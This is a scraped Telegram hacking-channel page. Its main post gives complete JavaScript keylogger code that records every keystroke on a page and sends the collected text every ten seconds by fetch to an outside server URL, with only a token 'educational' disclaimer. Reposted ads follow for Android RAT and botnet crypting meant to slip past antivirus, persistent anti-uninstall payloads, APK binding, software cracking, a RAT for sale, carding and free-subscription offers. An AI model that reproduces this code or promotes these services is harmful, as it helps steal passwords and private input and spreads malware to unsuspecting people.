HACKING FOR YOU
💎 Advance Free Hacking Channel 💎 Learn Hacking Ethical Hacking Carding YouTube SuperChat Carding Free Premium Method All OTT App. Hack Android Phone Gallery & SMS Hack 🎁 Channel - t.me/+LCUT8URuFVcwZTg8
Больше5 670
Подписчики
-224 часа
-257 дней
-10830 дней
- Подписчики
- Просмотры постов
- ER - коэффициент вовлеченности
Загрузка данных...
Прирост подписчиков
Загрузка данных...
KEYLOGGER IN JAVASCRIPT ⌨️
Disclaimer: This code is for educational purposes only.
👉 It uses a constructor function to create a keylogger object
👉 It uses a hide function to hide the input element
👉 It uses a filter function to remove useless keys such as Shift, Ctrl, Alt, etc.
👉 It uses a save function to store the data in the browser’s local storage
👉 It uses a send function to send the data to the server using the Fetch API
👉 It uses a clear function to clear the stored data in the local storage
👉 It uses a start function to start the keylogger by setting an event listener and a timer
function Keylogger(url) {
// Set the URL to send the data to
this.url = url;
// Create a hidden input element to capture the keystrokes
this.input = document.createElement("input");
this.input.type = "hidden";
this.input.id = "keylogger";
document.body.appendChild(this.input);
}
// Define a method to hide the input element
Keylogger.prototype.hide = function() {
// Set the input style to be invisible
this.input.style.display = "none";
};
// Define a method to filter the useless keys
Keylogger.prototype.filter = function(key) {
// Define an array of useless keys
var uselessKeys = ["Shift", "Control", "Alt", "Meta", "CapsLock", "Tab", "Enter", "Escape", "ArrowUp", "ArrowDown", "ArrowLeft", "ArrowRight"];
// Check if the key is in the array
if (uselessKeys.includes(key)) {
// Return false to indicate that the key should be ignored
return false;
} else {
// Return true to indicate that the key should be recorded
return true;
}
};
// Define a method to save the data in the local storage
Keylogger.prototype.save = function(key) {
// Get the current value of the input element
var value = this.input.value;
// Append the key to the value
value += key;
// Set the input value to the new value
this.input.value = value;
// Store the value in the local storage with the key "data"
localStorage.setItem("data", value);
};
// Define a method to send the data to the server using Fetch API
Keylogger.prototype.send = function() {
// Get the value from the local storage with the key "data"
var value = localStorage.getItem("data");
// Check if the value is not empty
if (value) {
// Create a parameter object with the key "data" and the value
var params = { data: value };
// Convert the parameter object to a query string
var queryString = Object.keys(params)
.map((key) => key + "=" + params[key])
.join("&");
// Use the Fetch API to send a POST request to the URL with the query string
fetch(this.url, {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
},
body: queryString,
})
.then((response) => {
// Check if the response is successful
if (response.ok) {
// Clear the stored data in the local storage
this.clear();
}
})
.catch((error) => {
// Handle any errors
console.error(error);
});
}
};
// Define a method to clear the stored data in the local storage
Keylogger.prototype.clear = function() {
// Set the input value to an empty string
this.input.value = "";
// Remove the item with the key "data" from the local storage
localStorage.removeItem("data");
};
// Define a method to start the keylogger
Keylogger.prototype.start = function() {
// Hide the input element
this.hide();
// Add an event listener to the document to record the keystrokes
document.addEventListener("keydown", (event) => {
// Get the key pressed
var key = event.key;
// Check if the key should be recorded
if (this.filter(key)) {
// Save the key in the local storage
this.save(key);
}
});
// Set an interval to send the data to the server every 10 seconds
setInterval(() => {
this.send();
}, 10000);
};
// Create a new keylogger object with the URL of the server
var keylogger = new Keylogger("https://example.com/logger.php");
// Start the keylogger
keylogger.start();
4620
Jakar koi ppsc ki preparation kr rha ho to muja msg kro fast urgent h
DM: @GameHoper
15201
Ap kis exam ki preparation kr rha ho ?Anonymous voting
- Jee
- Neet
- Upsc
- State Pcs
- Others
31320
02:16
Видео недоступно
🖥 How to change your fingerprint, and manipulate fingerprint scanners? PT 1
IMG_1330.MOV106.34 MB
❤🔥 3
331160
Repost from CYBER TECH CHARAN
Hey Guys
Prime Video 6 Months On Your Mail For Free
DM : @cybertechcharan
10702
Repost from Paid toox $ $️ ️🕶️
01:16
Видео недоступно
❤️Dropper/ Non dropper both✅
🙇Bypass method has been fully updated work for long time in all type of rat/botnet..._-_ঃ绕过方法已完全更新,在所有类型的老鼠/僵尸网络中长期有效
💯New Fud Method / 新方法❤️
❤️Method has been updated work for long time_方法已更新工作很久了✅👻
✅Bypass All Most all antivirus / 绕过所有大多数防病毒软件
✅Normal fud method/ All antivirus bypass method both available / 普通的fud方法/所有防病毒绕过方法都可用
✅Bypass Realme Scanner no need to scan Direct install / 绕过Realme扫描仪无需扫描直接安装
✅🔥Bypass Others All device direct install / 绕过其他所有设备直接安装
✅Work On All Rat & Botnet Upto Android 14+ / 适用于 Android 14 及以上版本的所有老鼠和僵尸网络
Dm Me to buy / 私信我购买:@MrUnkNoWnJuno
What service you will get from me_您将从我这里得到什么服务?
1.Bypass all type of antivirus_绕过所有类型的防病毒软件
2.Make any payload fully persistent give stable connection+ smooth work_使任何负载完全持久提供稳定的连接+顺利的工作
3.Make any type of payload fully anti uninstall not easy to delet from any phone_使任何类型的有效负载完全反卸载,不易从任何手机上删除
4. Bypass android 13/14 security restriction_绕过android 13/14安全限制
5.Many more just Dm what you want_还有更多,只需 Dm 你想要的:@MrUnkNoWnJuno
14.54 MB
39211
Repost from CYBER TECH CHARAN
Hey Guys
Come With Your Amazon Account And Take Prime Video 6 Months Membership
This Opportunity Is Only For First 5 Members
Dm : @cybertechcharan
37800
Repost from CYBER TECH CHARAN
🔥 OUR SERVICES 🔥
- Software Cracking & Unpacking ( Send Your Original File With License Or Without License To Crack It (Or) Unpacking It )
- Software Modification ( Send Your Unpacked File To Modify As Your Wish )
- All Android Rats & IOS Rats Complete Setup Without Any Error's
- All Android Rats Apk Binding & Apk Injection Service
- All Android Rats Payload Google Play Protect & Antivirus Bypass Service
- All Android Rats Accessability Bypass Service
- Web Development Service
- Any Other Service Also You Can Contact Us
- DM : @cybertechcharan
43510
Repost from CYBER TECH CHARAN
03:20
Видео недоступно
Apk Crypting Services
-------------------------------------
Dropper & Non Dropper Both Fud Service
Persistence Apk Service
Bypass method has been fully updated work for long time in all type of rat/botnet..._-_ঃ绕过方法已完全更新,在所有类型的老鼠/僵尸网络中长期有效
New Fud Method / 新方法
Method has been updated work for long time / 方法已更新工作很久了
Bypass All Most all antivirus / 绕过所有大多数防病毒软件
Normal fud method/ All antivirus bypass method both available / 普通的fud方法/所有防病毒绕过方法都可用
Bypass Realme Scanner no need to scan Direct install / 绕过Realme扫描仪无需扫描直接安装
Bypass Others All device direct install / 绕过其他所有设备直接安装
Work On All Rat & Botnet Upto Android 14+ / 适用于 Android 14 及以上版本的所有老鼠和僵尸网络
Dm Me to buy / 私信我购买 : @cybertechcharan
bandicam 2024-05-14 21-28-03-391.mp410.54 MB
36020
Repost from CYBER TECH CHARAN
02:09
Видео недоступно
Hey Guys,
This Rat Is Copy Of Unlock Rat Latest Version Which Is Named As CYBER-TECH-RAT
This Rat Is Available In Packed Version & Unpacked Version
All Features Are Working Good
If You Wanna Purchase
Dm : @cybertechcharan
bandicam 2024-05-10 20-33-42-245.mp411.01 MB
26110